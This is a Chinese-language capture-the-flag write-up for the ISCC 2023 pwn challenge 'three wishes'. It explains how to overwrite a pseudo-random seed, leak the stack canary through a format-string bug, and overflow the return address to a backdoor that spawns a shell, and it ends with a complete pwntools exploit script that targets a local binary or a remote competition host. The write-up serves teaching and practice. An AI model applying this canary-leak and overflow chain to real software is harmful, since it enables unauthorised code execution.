【ISCC 2023】三个愿望
收获
伪随机数绕过
利用格式化字符串漏洞绕过
canary金丝雀保护最后一步溢出时,跳转地址为
system("/bin/sh")的地址0x4011F5,比赛时使用elf.symbols["haveadoor"](0x4011D6)在远程是可以的,但本地无法 PWN 通
(2023年5月1日-2023年5月25日)【ISCC 2023】三个愿望
思路
分析文件并运行:
开启了金丝雀保护,栈不可执行,但没有开启 PIE 地址随机化
在 IDA 下分析:
首先输入 s,s 的长度为 0x16,观察栈中数据,发现 s 的长度不足以覆盖栈上的返回地址
后面需要绕过伪随机数的校验,发现伪随机数种子 seed 是可以由 s 覆盖的
因此可以通过 s 将 seed 覆盖为我们设置的值,即可绕过每一次伪随机数校验
绕过伪随机数后,进入 secondwish() 函数:
输入 s 并且 printf(s) 存在格式化字符串漏洞
s 的长度为 0x10,无法覆盖栈上的返回地址,最后 var_8 的地方为 canary
当执行完 secondwish() 函数后,v3 = 1,下一次循环进入 thirdwish() 函数:
输入 s 的长度为 0x40 是可以溢出到返回地址的
但是栈中 var_8 处存在 canary 保护,不可以直接覆盖返回地址
同时,存在后门函数 haveadoor():
查看 system("/bin/sh") 的地址为 0x4011F5
所以思路就是利用 thirdwish() 函数中的 s 溢出覆盖返回地址为 0x4011F5,即可触发 system("/bin/sh")
关键就在于如何绕过金丝雀 canary 来覆盖返回地址
由于 secondwish() 函数中存在格式化字符串漏洞,并且栈中也存在 canary 保护,因此可以利用格式化字符串漏洞将栈上的 canary 的值打印出来,即可获取 canary 的值,在 thirdwish() 函数中利用栈溢出覆盖时保持 canary 的值不动即可
关于 canary
canary 的值在程序每一次运行都是会改变的
但是,在一个程序的一次运行过程中,canary 的值都是相同的
因此secondwish()函数的栈中泄露出的canary的值,其实和thirdwish()函数中的canary的值是一样的
由于 secondwish() 函数中 s 距离金丝雀 var_8 的长度为:0x30 - 0x8 = 0x28
64 位程序一个参数占用 8 字节,0x28 / 8 = 5,即:var_8 是栈上的第 5 个参数
64 位程序的前 6 个参数存放在寄存器 RDI、RSI、RDX、RCX、R8、R9 内,当超过 6 个参数才存入栈中
因此 var_8 的值应在第 6 + 5 = 11 个参数的位置,使用 printf("%11$p") 将其泄露,这个值就是金丝雀 canary
脚本
from pwn import *
from ctypes import * # 导入ctypes库使Python可以执行C语言的函数
context(os='linux', arch='amd64', log_level='debug')
content = 1
elf = ELF("/home/wyy/桌面/PWN/三个愿望/makewishes")
haveadoor_addr = elf.symbols["haveadoor"]
def srand(): # 绕过随机数校验
global io
lib = cdll.LoadLibrary("/home/wyy/桌面/PWN/三个愿望/libc.so.6") # C运行库
lib.srand(1) # 将种子设为1
number = str(lib.rand() % 9 + 1) # 执行随机函数
return number
if content == 1:
io = process("/home/wyy/桌面/PWN/三个愿望/makewishes")
else:
io = remote("59.110.164.72", 10001)
payload = b'a' * (0x16 - 0x08) + p64(1)
io.recvuntil("Now you can make your first wish\n")
io.sendline(payload) # 设置伪随机数种子为1
io.recvuntil("Please give me a number!\n")
io.sendline(srand()) # 绕过伪随机数校验
io.recvuntil("Now you can make your second wish!\n")
io.sendline("%11$p") # 格式化字符串漏洞泄露canary(栈上第11个值)
canary = int(io.recvuntil("\n"), 16) # 接收canary的值
print(hex(canary))
io.recvuntil("Please give me a number!\n")
io.sendline(srand()) # 绕过伪随机数校验
io.recvuntil("Now you can make your final wish!\n")
payload = b'a' * (0x30 - 0x8) + p64(canary) + b'a' * 0x8 + p64(0x4011F5)
io.sendline(payload)
io.interactive()



















